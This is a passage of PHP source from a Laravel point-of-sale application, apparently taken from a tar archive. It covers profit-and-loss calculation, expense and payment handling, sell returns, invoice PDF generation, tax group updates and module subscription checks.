$transaction_totals['total_sell_return_discount']; //Stocks $data['opening_stock'] = ! empty($opening_stock) ? $opening_stock : 0; $data['closing_stock'] = ! empty($closing_stock) ? $closing_stock : 0; //Purchase $data['total_purchase'] = ! empty($purchase_details['total_purchase_exc_tax']) ? $purchase_details['total_purchase_exc_tax'] : 0; $data['total_purchase_discount'] = ! empty($total_purchase_discount) ? $total_purchase_discount : 0; $data['total_purchase_return'] = $transaction_totals['total_purchase_return_exc_tax']; //Sales $data['total_sell'] = ! empty($sell_details['total_sell_exc_tax']) ? $sell_details['total_sell_exc_tax'] : 0; $data['total_sell_discount'] = ! empty($total_sell_discount) ? $total_sell_discount : 0; $data['total_sell_return_discount'] = ! empty($total_sell_return_discount) ? $total_sell_return_discount : 0; $data['total_sell_return'] = $transaction_totals['total_sell_return_exc_tax']; $data['total_sell_round_off'] = ! empty($total_sell_round_off) ? $total_sell_round_off : 0; //Expense $data['total_expense'] = $transaction_totals['total_expense']; //Stock adjustments $data['total_adjustment'] = $transaction_totals['total_adjustment']; $data['total_recovered'] = $transaction_totals['total_recovered']; // $data['closing_stock'] = $data['closing_stock'] - $data['total_adjustment']; $data['total_reward_amount'] = ! empty($total_reward_amount) ? $total_reward_amount : 0; $moduleUtil = new ModuleUtil(); $module_parameters = [ 'business_id' => $business_id, 'start_date' => $start_date, 'end_date' => $end_date, 'location_id' => $location_id, 'user_id' => $user_id, 'permitted_locations' => $permitted_locations ]; $modules_data = $moduleUtil->getModuleData('profitLossReportData', $module_parameters); $data['left_side_module_data'] = []; $data['right_side_module_data'] = []; $module_total = 0; if (! empty($modules_data)) { foreach ($modules_data as $module_data) { if (! empty($module_data[0])) { foreach ($module_data[0] as $array) { $data['left_side_module_data'][] = $array; if (! empty($array['add_to_net_profit'])) { $module_total -= $array['value']; } } } if (! empty($module_data[1])) { foreach ($module_data[1] as $array) { $data['right_side_module_data'][] = $array; if (! empty($array['add_to_net_profit'])) { $module_total += $array['value']; } } } } } // $data['net_profit'] = $module_total + $data['total_sell'] // + $data['closing_stock'] // - $data['total_purchase'] // - $data['total_sell_discount'] // + $data['total_sell_round_off'] // - $data['total_reward_amount'] // - $data['opening_stock'] // - $data['total_expense'] // + $data['total_recovered'] // - $data['total_transfer_shipping_charges'] // - $data['total_purchase_shipping_charge'] // + $data['total_sell_shipping_charge'] // + $data['total_purchase_discount'] // + $data['total_purchase_return'] // - $data['total_sell_return']; $data['net_profit'] = $module_total + $gross_profit + ($data['total_sell_round_off'] + $data['total_recovered'] + $data['total_sell_shipping_charge'] + $data['total_purchase_discount'] + $data['total_sell_additional_expense'] + $data['total_sell_return_discount'] ) - ($data['total_reward_amount'] + $data['total_expense'] + $data['total_adjustment'] + $data['total_transfer_shipping_charges'] + $data['total_purchase_shipping_charge'] + $data['total_purchase_additional_expense'] + $data['total_sell_discount'] ); //get gross profit from Project Module $module_parameters = [ 'business_id' => $business_id, 'start_date' => $start_date, 'end_date' => $end_date, 'location_id' => $location_id, ]; $grossProfitData = $moduleUtil->getModuleData('grossProfit', $module_parameters); // if (! empty($project_module_data['Project']['gross_profit'])) { // $gross_profit = $gross_profit + $project_module_data['Project']['gross_profit']; // $data['gross_profit_label'] = __('project::lang.project_invoice'); // } $data['gross_profit_label'] = []; if(! empty($grossProfitData)){ foreach($grossProfitData as $value){ $data['gross_profit_label'][] = $value['label']; $gross_profit = $gross_profit + $value['value']; } } $data['gross_profit'] = $gross_profit; //get sub type for total sales $sales_by_subtype = Transaction::where('business_id', $business_id) ->where('type', 'sell') ->where('status', 'final'); if (! empty($start_date) && ! empty($end_date)) { if ($start_date == $end_date) { $sales_by_subtype->whereDate('transaction_date', $end_date); } else { $sales_by_subtype->whereBetween(DB::raw('transaction_date'), [$start_date, $end_date]); } } $sales_by_subtype = $sales_by_subtype->select(DB::raw('SUM(total_before_tax) as total_before_tax'), 'sub_type') ->whereNotNull('sub_type') ->groupBy('transactions.sub_type') ->get(); $data['total_sell_by_subtype'] = $sales_by_subtype; return $data; } /** * Creates recurring expense from existing expense * * @param obj $transaction * @return obj $recurring_invoice */ public function createRecurringExpense($transaction) { $data = $transaction->toArray(); unset($data['id']); unset($data['created_at']); unset($data['updated_at']); unset($data['ref_no']); $data['payment_status'] = 'due'; $data['recur_parent_id'] = $transaction->id; $data['is_recurring'] = 0; $data['recur_interval'] = null; $data['recur_interval_type'] = null; $data['recur_repetitions'] = 0; $data['recur_stopped_on'] = null; $data['transaction_date'] = \Carbon::now(); if (isset($data['recurring_invoices'])) { unset($data['recurring_invoices']); } if (isset($data['business'])) { unset($data['business']); } //Update reference count $ref_count = $this->setAndGetReferenceCount('expense', $transaction->business_id); //Generate reference number $data['ref_no'] = $this->generateReferenceNumber('expense', $ref_count, $transaction->business_id); $recurring_expense = Transaction::create($data); return $recurring_expense; } public function createExpense($request, $business_id, $user_id, $format_data = true) { $transaction_data = $request->only(['ref_no', 'transaction_date', 'location_id', 'final_total', 'expense_for', 'additional_notes', 'expense_category_id', 'tax_id', 'contact_id', ]); $transaction_data['business_id'] = $business_id; $transaction_data['created_by'] = $user_id; $transaction_data['type'] = ! empty($request->input('is_refund')) && $request->input('is_refund') == 1 ? 'expense_refund' : 'expense'; $transaction_data['status'] = 'final'; $transaction_data['payment_status'] = 'due'; $transaction_data['final_total'] = $format_data ? $this->num_uf( $transaction_data['final_total'] ) : $transaction_data['final_total']; if ($request->has('transaction_date')) { $transaction_data['transaction_date'] = $format_data ? $this->uf_date($transaction_data['transaction_date'], true) : $transaction_data['transaction_date']; } else { $transaction_data['transaction_date'] = \Carbon::now(); } if ($request->has('expense_sub_category_id')) { $transaction_data['expense_sub_category_id'] = $request->input('expense_sub_category_id'); } $transaction_data['total_before_tax'] = $transaction_data['final_total']; if (! empty($transaction_data['tax_id'])) { $tax_details = TaxRate::find($transaction_data['tax_id']); $transaction_data['total_before_tax'] = $this->calc_percentage_base($transaction_data['final_total'], $tax_details->amount); $transaction_data['tax_amount'] = $transaction_data['final_total'] - $transaction_data['total_before_tax']; } if ($request->has('is_recurring')) { $transaction_data['is_recurring'] = 1; $transaction_data['recur_interval'] = ! empty($request->input('recur_interval')) ? $request->input('recur_interval') : 1; $transaction_data['recur_interval_type'] = $request->input('recur_interval_type'); $transaction_data['recur_repetitions'] = $request->input('recur_repetitions'); $transaction_data['subscription_repeat_on'] = $request->input('recur_interval_type') == 'months' && ! empty($request->input('subscription_repeat_on')) ? $request->input('subscription_repeat_on') : null; } //Update reference count $ref_count = $this->setAndGetReferenceCount('expense', $business_id); //Generate reference number if (empty($transaction_data['ref_no'])) { $transaction_data['ref_no'] = $this->generateReferenceNumber('expense', $ref_count, $business_id); } //upload document $document_name = $this->uploadFile($request, 'document', 'documents'); if (! empty($document_name)) { $transaction_data['document'] = $document_name; } $transaction = Transaction::create($transaction_data); $payments = ! empty($request->input('payment')) ? $request->input('payment') : []; //add expense payment $this->createOrUpdatePaymentLines($transaction, $payments, $business_id); //update payment status $this->updatePaymentStatus($transaction->id, $transaction->final_total); return $transaction; } public function updateExpense($request, $id, $business_id, $format_data = true) { $transaction_data = []; $transaction = Transaction::where('business_id', $business_id) ->findOrFail($id); if ($request->has('ref_no')) { $transaction_data['ref_no'] = $request->input('ref_no'); } if ($request->has('expense_for')) { $transaction_data['expense_for'] = $request->input('expense_for'); } if ($request->has('contact_id')) { $transaction_data['contact_id'] = $request->input('contact_id'); } if ($request->has('transaction_date')) { $transaction_data['transaction_date'] = $format_data ? $this->uf_date($request->input('transaction_date'), true) : $request->input('transaction_date'); } if ($request->has('location_id')) { $transaction_data['location_id'] = $request->input('location_id'); } if ($request->has('additional_notes')) { $transaction_data['additional_notes'] = $request->input('additional_notes'); } if ($request->has('expense_sub_category_id')) { $transaction_data['expense_sub_category_id'] = $request->input('expense_sub_category_id'); } if ($request->has('expense_category_id')) { $transaction_data['expense_category_id'] = $request->input('expense_category_id'); } $final_total = $request->has('final_total') ? $request->input('final_total') : $transaction->final_total; if ($request->has('final_total')) { $transaction_data['final_total'] = $format_data ? $this->num_uf( $final_total ) : $final_total; $final_total = $transaction_data['final_total']; } $transaction_data['total_before_tax'] = $transaction_data['final_total']; $tax_id = ! empty($request->input('tax_id')) ? $request->input('tax_id') : $transaction->tax_id; if (! empty($tax_id)) { $transaction_data['tax_id'] = $tax_id; $tax_details = TaxRate::find($tax_id); $transaction_data['total_before_tax'] = $this->calc_percentage_base($final_total, $tax_details->amount); $transaction_data['tax_amount'] = $final_total - $transaction_data['total_before_tax']; } else { $transaction_data['tax_id'] = null; $transaction_data['tax_amount'] = 0; } //upload document $document_name = $this->uploadFile($request, 'document', 'documents'); if (! empty($document_name)) { $transaction_data['document'] = $document_name; } $transaction_data['is_recurring'] = $request->has('is_recurring') ? 1 : 0; $transaction_data['recur_interval'] = ! empty($request->input('recur_interval')) ? $request->input('recur_interval') : 0; $transaction_data['recur_interval_type'] = ! empty($request->input('recur_interval_type')) ? $request->input('recur_interval_type') : $transaction->recur_interval_type; $transaction_data['recur_repetitions'] = ! empty($request->input('recur_repetitions')) ? $request->input('recur_repetitions') : $transaction->recur_repetitions; $transaction_data['subscription_repeat_on'] = ! empty($request->input('subscription_repeat_on')) ? $request->input('subscription_repeat_on') : $transaction->subscription_repeat_on; $transaction->update($transaction_data); $transaction->save(); //update payment status $this->updatePaymentStatus($transaction->id, $transaction->final_total); return $transaction; } /** * Updates contact balance * * @param obj $contact * @param float $amount * @param string $type [add, deduct] * @return obj $recurring_invoice */ public function updateContactBalance($contact, $amount, $type = 'add') { if (! is_object($contact)) { $contact = Contact::findOrFail($contact); } if ($type == 'add') { $contact->balance += $amount; } elseif ($type == 'deduct') { $contact->balance -= $amount; } $contact->save(); } public function payContact($request, $format_data = true) { $contact_id = $request->input('contact_id'); $business_id = auth()->user()->business_id; $inputs = $request->only(['amount', 'method', 'note', 'card_number', 'card_holder_name', 'card_transaction_number', 'card_type', 'card_month', 'card_year', 'card_security', 'cheque_number', 'bank_account_number', ]); //payment type option is available on pay contact modal $is_reverse = $request->has('is_reverse') && $request->input('is_reverse') == 1 ? true : false; $payment_types = $this->payment_types(); if (! array_key_exists($inputs['method'], $payment_types)) { throw new \Exception('Payment method not found'); } $inputs['paid_on'] = $request->input('paid_on', \Carbon::now()->toDateTimeString()); if ($format_data) { $inputs['paid_on'] = $this->uf_date($inputs['paid_on'], true); $inputs['amount'] = $this->num_uf($inputs['amount']); } $inputs['created_by'] = auth()->user()->id; $inputs['payment_for'] = $contact_id; $inputs['business_id'] = $business_id; if (! $is_reverse) { $inputs['is_advance'] = 1; } for ($i = 1; $i < 8; $i++) { if ($inputs['method'] == 'custom_pay_'.$i) { $inputs['transaction_no'] = $request->input("transaction_no_{$i}"); } } $contact = Contact::where('business_id', $business_id) ->findOrFail($contact_id); $due_payment_type = $request->input('due_payment_type'); if (empty($due_payment_type)) { $due_payment_type = $contact->type == 'supplier' ? 'purchase' : 'sell'; } $prefix_type = ''; if ($contact->type == 'customer') { $prefix_type = 'sell_payment'; } elseif ($contact->type == 'supplier') { $prefix_type = 'purchase_payment'; } $ref_count = $this->setAndGetReferenceCount($prefix_type, $business_id); //Generate reference number $payment_ref_no = $this->generateReferenceNumber($prefix_type, $ref_count, $business_id); $inputs['payment_ref_no'] = $payment_ref_no; if (! empty($request->input('account_id'))) { $inputs['account_id'] = $request->input('account_id'); } //get payment type (creditor debit) $payment_type = AccountTransaction::getAccountTransactionType($due_payment_type); //if reverse payment if ($due_payment_type == 'sell' && $is_reverse) { $payment_type = 'debit'; } if ($due_payment_type == 'purchase' && $is_reverse) { $payment_type = 'credit'; } $inputs['payment_type'] = $payment_type; //Upload documents if added $inputs['document'] = $this->uploadFile($request, 'document', 'documents'); $parent_payment = TransactionPayment::create($inputs); $inputs['transaction_type'] = $due_payment_type; event(new TransactionPaymentAdded($parent_payment, $inputs)); //Distribute above payment among unpaid transactions if (! $is_reverse) { $excess_amount = $this->payAtOnce($parent_payment, $due_payment_type); } //Update excess amount if (! empty($excess_amount)) { $this->updateContactBalance($contact, $excess_amount); } return $parent_payment; } public function addSellReturn($input, $business_id, $user_id, $uf_number = true) { $discount = [ 'discount_type' => $input['discount_type'] ?? 'fixed', 'discount_amount' => $input['discount_amount'] ?? 0, ]; $business = Business::with(['currency'])->findOrFail($business_id); $productUtil = new \App\Utils\ProductUtil(); $input['tax_id'] = $input['tax_id'] ?? null; $invoice_total = $productUtil->calculateInvoiceTotal($input['products'], $input['tax_id'], $discount, $uf_number); //Get parent sale $sell = Transaction::where('business_id', $business_id) ->with(['sell_lines', 'sell_lines.sub_unit']) ->findOrFail($input['transaction_id']); //Check if any sell return exists for the sale $sell_return = Transaction::where('business_id', $business_id) ->where('type', 'sell_return') ->where('return_parent_id', $sell->id) ->first(); $sell_return_data = [ 'invoice_no' => $input['invoice_no'] ?? null, 'discount_type' => $discount['discount_type'], 'discount_amount' => $uf_number ? $this->num_uf($discount['discount_amount']) : $discount['discount_amount'], 'tax_id' => $input['tax_id'], 'tax_amount' => $invoice_total['tax'], 'total_before_tax' => $invoice_total['total_before_tax'], 'final_total' => $invoice_total['final_total'], ]; if (! empty($input['transaction_date'])) { $sell_return_data['transaction_date'] = $uf_number ? $this->uf_date($input['transaction_date'], true) : $input['transaction_date']; } //Generate reference number if (empty($sell_return_data['invoice_no']) && empty($sell_return)) { //Update reference count $ref_count = $this->setAndGetReferenceCount('sell_return', $business_id); $sell_return_data['invoice_no'] = $this->generateReferenceNumber('sell_return', $ref_count, $business_id); } if (empty($sell_return)) { $sell_return_data['transaction_date'] = $sell_return_data['transaction_date'] ?? \Carbon::now(); $sell_return_data['business_id'] = $business_id; $sell_return_data['location_id'] = $sell->location_id; $sell_return_data['contact_id'] = $sell->contact_id; $sell_return_data['customer_group_id'] = $sell->customer_group_id; $sell_return_data['type'] = 'sell_return'; $sell_return_data['status'] = 'final'; $sell_return_data['created_by'] = $user_id; $sell_return_data['return_parent_id'] = $sell->id; $sell_return = Transaction::create($sell_return_data); $this->activityLog($sell_return, 'added'); } else { $sell_return_data['invoice_no'] = $sell_return_data['invoice_no'] ?? $sell_return->invoice_no; $sell_return_before = $sell_return->replicate(); $sell_return->update($sell_return_data); $this->activityLog($sell_return, 'edited', $sell_return_before); } if ($business->enable_rp == 1 && ! empty($sell->rp_earned)) { $is_reward_expired = $this->isRewardExpired($sell->transaction_date, $business_id); if (! $is_reward_expired) { $diff = $sell->final_total - $sell_return->final_total; $new_reward_point = $this->calculateRewardPoints($business_id, $diff); $this->updateCustomerRewardPoints($sell->contact_id, $new_reward_point, $sell->rp_earned); $sell->rp_earned = $new_reward_point; $sell->save(); } } //Update payment status $this->updatePaymentStatus($sell_return->id, $sell_return->final_total); //Update quantity returned in sell line $returns = []; $product_lines = $input['products']; foreach ($product_lines as $product_line) { $returns[$product_line['sell_line_id']] = $uf_number ? $this->num_uf($product_line['quantity']) : $product_line['quantity']; } foreach ($sell->sell_lines as $sell_line) { if (array_key_exists($sell_line->id, $returns)) { $multiplier = 1; if (! empty($sell_line->sub_unit)) { $multiplier = $sell_line->sub_unit->base_unit_multiplier; } $quantity = $returns[$sell_line->id] * $multiplier; $quantity_before = $sell_line->quantity_returned; $sell_line->quantity_returned = $quantity; $sell_line->save(); //update quantity sold in corresponding purchase lines $this->updateQuantitySoldFromSellLine($sell_line, $quantity, $quantity_before, false); // Update quantity in variation location details $productUtil->updateProductQuantity($sell_return->location_id, $sell_line->product_id, $sell_line->variation_id, $quantity, $quantity_before, null, false); } } return $sell_return; } public function updatePurchaseOrderStatus($purchase_order_ids = []) { foreach ($purchase_order_ids as $purchase_order_id) { $purchase_order = Transaction::with(['purchase_lines'])->find($purchase_order_id); if (empty($purchase_order)) { continue; } $total_ordered = $purchase_order->purchase_lines->sum('quantity'); $total_received = $purchase_order->purchase_lines->sum('po_quantity_purchased'); $status = $total_received == 0 ? 'ordered' : 'partial'; if ($total_ordered == $total_received) { $status = 'completed'; } $purchase_order->status = $status; $purchase_order->save(); } } /** * Get pdf content for given * transaction id * * @param int $business_id * @param int $transaction_id * @return array */ public function getPdfContentsForGivenTransaction($business_id, $transaction_id) { //Get business details $businessUtil = new BusinessUtil(); $business_details = $businessUtil->getDetails($business_id); //Get transaction $transaction = Transaction::findOrFail($transaction_id); //Get business location details $location_details = BusinessLocation::find($transaction->location_id); //Get invoice layout $invoice_layout_id = $location_details->invoice_layout_id; $invoice_layout = $businessUtil->invoiceLayout($business_id, $invoice_layout_id); //Check if printer setting is provided. $receipt_printer_type = $location_details->receipt_printer_type; //Get receipt details $receipt_details = $this->getReceiptDetails($transaction_id, $transaction->location_id, $invoice_layout, $business_details, $location_details, $receipt_printer_type); $currency_details = [ 'symbol' => $business_details->currency_symbol, 'thousand_separator' => $business_details->thousand_separator, 'decimal_separator' => $business_details->decimal_separator, ]; $receipt_details->currency = $currency_details; return [ 'location_details' => $location_details, 'receipt_details' => $receipt_details, ]; } /** * Return mpdf object for * email attachment * * @param int $business_id * @param int $transaction_id * @param bool $is_email_attachment * @return object */ public function getEmailAttachmentForGivenTransaction($business_id, $transaction_id, $is_email_attachment) { $receipt_contents = $this->getPdfContentsForGivenTransaction($business_id, $transaction_id); $receipt_details = $receipt_contents['receipt_details']; $location_details = $receipt_contents['location_details']; $blade_file = 'download_pdf'; if (! empty($receipt_details->is_export)) { $blade_file = 'download_export_pdf'; } //Generate pdf $body = view('sale_pos.receipts.'.$blade_file) ->with(compact('receipt_details', 'location_details', 'is_email_attachment')) ->render(); $mpdf = new \Mpdf\Mpdf(['tempDir' => public_path('uploads/temp'), 'mode' => 'utf-8', 'autoScriptToLang' => true, 'autoLangToFont' => true, 'autoVietnamese' => true, 'autoArabic' => true, 'margin_top' => 8, 'margin_bottom' => 8, 'format' => 'A4', ]); $mpdf->useSubstitutions = true; $mpdf->SetWatermarkText($receipt_details->business_name, 0.1); $mpdf->showWatermarkText = true; $mpdf->SetTitle('INVOICE-'.$receipt_details->invoice_no.'.pdf'); $mpdf->WriteHTML($body); return $mpdf; } public function updateSalesOrderStatus($sales_order_ids = []) { foreach ($sales_order_ids as $sales_order_id) { $sales_order = Transaction::with(['sell_lines'])->find($sales_order_id); if (empty($sales_order)) { continue; } $total_ordered = $sales_order->sell_lines->sum('quantity'); $total_received = $sales_order->sell_lines->sum('so_quantity_invoiced'); $status = $total_received == 0 ? 'ordered' : 'partial'; if ($total_ordered == $total_received) { $status = 'completed'; } $sales_order->status = $status; $sales_order->save(); } } public function getUserTotalSales($business_id, $user_id, $start_date, $end_date) { $totals = Transaction::where('business_id', $business_id) ->where('commission_agent', $user_id) ->where('type', 'sell') ->where('status', 'final') ->whereBetween(DB::raw('transaction_date'), [$start_date, $end_date]) ->select( DB::raw('SUM(final_total) as total_sales'), DB::raw('SUM(total_before_tax - shipping_charges - (SELECT SUM(item_tax*quantity) FROM transaction_sell_lines as tsl WHERE tsl.transaction_id=transactions.id) ) as total_sales_without_tax') ) ->first(); return [ 'total_sales' => $totals->total_sales ?? 0, 'total_sales_without_tax' => $totals->total_sales_without_tax ?? 0, ]; } public function getSources($business_id) { $unique_sources = Transaction::where('business_id', $business_id) ->where('type', 'sell') ->select('source') ->groupBy('source') ->get(); $sources = []; foreach ($unique_sources as $source) { if (! empty($source->source)) { $sources[$source->source] = $source->source; } } return $sources; } public function getPurchaseOrderPdf($business_id, $transaction_id) { $taxes = TaxRate::where('business_id', $business_id) ->get(); $purchase = Transaction::where('business_id', $business_id) ->where('id', $transaction_id) ->with( 'contact', 'purchase_lines', 'purchase_lines.product', 'purchase_lines.product.brand', 'purchase_lines.product.category', 'purchase_lines.variations', 'purchase_lines.variations.product_variation', 'location', 'payment_lines' ) ->first(); $location_details = BusinessLocation::find($purchase->location_id); $businessUtil = new BusinessUtil(); $invoice_layout = $businessUtil->invoiceLayout($business_id, $location_details->invoice_layout_id); //Logo $logo = $invoice_layout->show_logo != 0 && ! empty($invoice_layout->logo) && file_exists(public_path('uploads/invoice_logos/'.$invoice_layout->logo)) ? asset('uploads/invoice_logos/'.$invoice_layout->logo) : false; $word_format = $invoice_layout->common_settings['num_to_word_format'] ? $invoice_layout->common_settings['num_to_word_format'] : 'international'; $total_in_words = $this->numToWord($purchase->final_total, null, $word_format); $custom_labels = json_decode(session('business.custom_labels'), true); //Generate pdf $body = view('purchase_order.receipts.download_pdf') ->with(compact('purchase', 'invoice_layout', 'location_details', 'logo', 'total_in_words', 'custom_labels', 'taxes')) ->render(); $mpdf = new \Mpdf\Mpdf(['tempDir' => public_path('uploads/temp'), 'mode' => 'utf-8', 'autoScriptToLang' => true, 'autoLangToFont' => true, 'autoVietnamese' => true, 'autoArabic' => true, 'margin_top' => 8, 'margin_bottom' => 8, 'format' => 'A4', ]); $mpdf->useSubstitutions = true; $mpdf->SetWatermarkText($purchase->business->name, 0.1); $mpdf->showWatermarkText = true; $mpdf->SetTitle('PO-'.$purchase->ref_no.'.pdf'); $mpdf->WriteHTML($body); return $mpdf; } /** * Return the registerReport . * * @return array */ public function registerReport($business_id, $permitted_locations, $start_date = null, $end_date = null, $user_id = null) { $registers = CashRegister::leftjoin( 'cash_register_transactions as ct', 'ct.cash_register_id', '=', 'cash_registers.id' )->join( 'users as u', 'u.id', '=', 'cash_registers.user_id' ) ->leftJoin( 'business_locations as bl', 'bl.id', '=', 'cash_registers.location_id' ) ->where('cash_registers.business_id', $business_id) ->select( 'cash_registers.*', DB::raw( "CONCAT(COALESCE(surname, ''), ' ', COALESCE(first_name, ''), ' ', COALESCE(last_name, ''), '<br>', COALESCE(u.email, '')) as user_name" ), 'bl.name as location_name', DB::raw("SUM(IF(pay_method='cash', IF(transaction_type='sell', amount, 0), 0)) as total_cash_payment"), DB::raw("SUM(IF(pay_method='cheque', IF(transaction_type='sell', amount, 0), 0)) as total_cheque_payment"), DB::raw("SUM(IF(pay_method='card', IF(transaction_type='sell', amount, 0), 0)) as total_card_payment"), DB::raw("SUM(IF(pay_method='bank_transfer', IF(transaction_type='sell', amount, 0), 0)) as total_bank_transfer_payment"), DB::raw("SUM(IF(pay_method='other', IF(transaction_type='sell', amount, 0), 0)) as total_other_payment"), DB::raw("SUM(IF(pay_method='advance', IF(transaction_type='sell', amount, 0), 0)) as total_advance_payment"), DB::raw("SUM(IF(pay_method='custom_pay_1', IF(transaction_type='sell', amount, 0), 0)) as total_custom_pay_1"), DB::raw("SUM(IF(pay_method='custom_pay_2', IF(transaction_type='sell', amount, 0), 0)) as total_custom_pay_2"), DB::raw("SUM(IF(pay_method='custom_pay_3', IF(transaction_type='sell', amount, 0), 0)) as total_custom_pay_3"), DB::raw("SUM(IF(pay_method='custom_pay_4', IF(transaction_type='sell', amount, 0), 0)) as total_custom_pay_4"), DB::raw("SUM(IF(pay_method='custom_pay_5', IF(transaction_type='sell', amount, 0), 0)) as total_custom_pay_5"), DB::raw("SUM(IF(pay_method='custom_pay_6', IF(transaction_type='sell', amount, 0), 0)) as total_custom_pay_6"), DB::raw("SUM(IF(pay_method='custom_pay_7', IF(transaction_type='sell', amount, 0), 0)) as total_custom_pay_7") )->groupBy('cash_registers.id'); if(!empty($permitted_locations)){ if ($permitted_locations != 'all') { $registers->whereIn('cash_registers.location_id', $permitted_locations); } } if (! empty(request()->input('user_id'))) { $registers->where('cash_registers.user_id', request()->input('user_id')); } if (! empty(request()->input('status'))) { $registers->where('cash_registers.status', request()->input('status')); } if (! empty($start_date) && ! empty($end_date)) { $registers->whereDate('cash_registers.created_at', '>=', $start_date) ->whereDate('cash_registers.created_at', '<=', $end_date); } return $registers; } } Utils/TaxUtil.php 0000644 00000001034 15001146510 0007736 0 ustar 00 <?php namespace App\Utils; use App\TaxRate; class TaxUtil extends Util { /** * Updates tax amount of a tax group * * @param int $group_tax_id * @return void */ public function updateGroupTaxAmount($group_tax_id) { $amount = 0; $tax_rate = TaxRate::where('id', $group_tax_id)->with(['sub_taxes'])->first(); foreach ($tax_rate->sub_taxes as $sub_tax) { $amount += $sub_tax->amount; } $tax_rate->amount = $amount; $tax_rate->save(); } } Utils/ModuleUtil.php 0000644 00000042441 15001146510 0010436 0 ustar 00 <?php namespace App\Utils; use App\Account; use App\BusinessLocation; use App\Product; use App\System; use App\Transaction; use App\User; use Composer\Semver\Comparator; use Module; class ModuleUtil extends Util { /** * This function check if a module is installed or not. * * @param string $module_name (Exact module name, with first letter capital) * @return bool */ public function isModuleInstalled($module_name) { $is_available = Module::has($module_name); if ($is_available) { //Check if installed by checking the system table {module_name}_version $module_version = System::getProperty(strtolower($module_name).'_version'); if (empty($module_version)) { return false; } else { return true; } } return false; } /** * This function check if superadmin module is installed or not. * * @return bool */ public function isSuperadminInstalled() { return $this->isModuleInstalled('Superadmin'); } /** * This function check if a function provided exist in all modules * DataController, merges the data and returned it. * * @param string $function_name * @return array */ public function getModuleData($function_name, $arguments = null) { $modules = Module::toCollection()->toArray(); $installed_modules = []; foreach ($modules as $module => $details) { if ($this->isModuleInstalled($details['name'])) { $installed_modules[] = $details; } } $data = []; if (! empty($installed_modules)) { foreach ($installed_modules as $module) { $class = 'Modules\\'.$module['name'].'\Http\Controllers\DataController'; if (class_exists($class)) { $class_object = new $class(); if (method_exists($class_object, $function_name)) { if (! empty($arguments)) { $data[$module['name']] = call_user_func([$class_object, $function_name], $arguments); } else { $data[$module['name']] = call_user_func([$class_object, $function_name]); } } } } } return $data; } /** * Checks if a module is defined * * @param string $module_name * @return bool */ public function isModuleDefined($module_name) { $is_installed = $this->isModuleInstalled($module_name); $check_for_enable = []; $output = ! empty($is_installed) ? true : false; if (in_array($module_name, $check_for_enable) && ! $this->isModuleEnabled(strtolower($module_name))) { $output = false; } return $output; } /** * This function check if a business has active subscription packages * * @param int $business_id * @return bool */ public function isSubscribed($business_id) { if ($this->isSuperadminInstalled()) { $package = \Modules\Superadmin\Entities\Subscription::active_subscription($business_id); if (empty($package)) { return false; } } return true; } /** * This function checks if a business has * * @param int $business_id * @param string $permission * @param string $callback_function = null * @return bool */ public function hasThePermissionInSubscription($business_id, $permission, $callback_function = null) { if ($this->isSuperadminInstalled()) { if (auth()->user()->can('superadmin')) { return true; } $package = \Modules\Superadmin\Entities\Subscription::active_subscription($business_id); if (empty($package)) { return false; } elseif (isset($package['package_details'][$permission])) { if (! is_null($callback_function)) { $obj = new ModuleUtil(); $permissions = $obj->getModuleData($callback_function); $permission_formatted = []; foreach ($permissions as $per) { foreach ($per as $details) { $permission_formatted[$details['name']] = $details['label']; } } if (isset($permission_formatted[$permission])) { return $package['package_details'][$permission]; } else { return false; } } else { return $package['package_details'][$permission]; } } else { return false; } } return true; } /** * Returns the name of view used to display for subscription expired. * * @return string */ public static function expiredResponse($redirect_url = null) { $response_array = ['success' => 0, 'msg' => __( 'superadmin::lang.subscription_expired_toastr', ['app_name' => config('app.name'), 'subscribe_url' => action([\Modules\Superadmin\Http\Controllers\SubscriptionController::class, 'index']), ] ), ]; if (request()->ajax()) { if (request()->wantsJson()) { return $response_array; } else { return view('superadmin::subscription.subscription_expired_modal'); } } else { if (is_null($redirect_url)) { return back() ->with('status', $response_array); } else { return redirect($redirect_url) ->with('status', $response_array); } } } public function countBusinessLocation($business_id) { $count = BusinessLocation::where('business_id', $business_id) ->count(); return $count; } public function countUsers($business_id) { $count = User::where('business_id', $business_id) ->where('allow_login', 1) ->count(); return $count; } public function countProducts($business_id, $start_dt, $end_dt) { $query = Product::where('business_id', $business_id); if (! empty($start_dt) && ! empty($start_dt)) { $query->whereBetween('created_at', [$start_dt, $end_dt]); } $count = $query->count(); return $count; } public function countInvoice($business_id, $start_dt, $end_dt) { $query = Transaction::where('business_id', $business_id) ->where('type', 'sell') ->where('status', 'final'); if (! empty($start_dt) && ! empty($start_dt)) { $query->whereBetween('created_at', [$start_dt, $end_dt]); } $count = $query->count(); return $count; } public function getResourceCount($business_id, $package) { $is_available = $this->isSuperadminInstalled(); $start_dt = null; $end_dt = null; if (! empty($package)) { $start_dt = $package->start_date->toDateTimeString(); $end_dt = $package->end_date->endOfDay()->toDateTimeString(); } $output = [ 'locations_created' => $this->countBusinessLocation($business_id), 'users_created' => $this->countUsers($business_id), 'products_created' => $this->countProducts($business_id, $start_dt, $end_dt), 'invoices_created' => $this->countInvoice($business_id, $start_dt, $end_dt), ]; return $output; } /** * This function check if a business has available quota for various types. * * @param string $type * @param int $business_id * @param int $total_rows default 0 * @return bool */ public function isQuotaAvailable($type, $business_id, $total_rows = 0) { $is_available = $this->isSuperadminInstalled(); if ($is_available) { $package = \Modules\Superadmin\Entities\Subscription::active_subscription($business_id); if (empty($package)) { return false; } //Start $start_dt = $package->start_date->toDateTimeString(); $end_dt = $package->end_date->endOfDay()->toDateTimeString(); if ($type == 'locations') { //Check for available location and max number allowed. $max_allowed = isset($package->package_details['location_count']) ? $package->package_details['location_count'] : 0; if ($max_allowed == 0) { return true; } else { $count = $this->countBusinessLocation($business_id); if ($count >= $max_allowed) { return false; } } } elseif ($type == 'users') { //Check for available location and max number allowed. $max_allowed = isset($package->package_details['user_count']) ? $package->package_details['user_count'] : 0; if ($max_allowed == 0) { return true; } else { $count = $this->countUsers($business_id); if ($count >= $max_allowed) { return false; } } } elseif ($type == 'products') { $max_allowed = isset($package->package_details['product_count']) ? $package->package_details['product_count'] : 0; if ($max_allowed == 0) { return true; } else { $count = $this->countProducts($business_id, $start_dt, $end_dt); $total_products = $count + $total_rows; if ($total_products >= $max_allowed) { return false; } } } elseif ($type == 'invoices') { $max_allowed = isset($package->package_details['invoice_count']) ? $package->package_details['invoice_count'] : 0; if ($max_allowed == 0) { return true; } else { $count = $this->countInvoice($business_id, $start_dt, $end_dt); if ($count >= $max_allowed) { return false; } } } } return true; } /** * This function returns the response for expired quota * * @param string 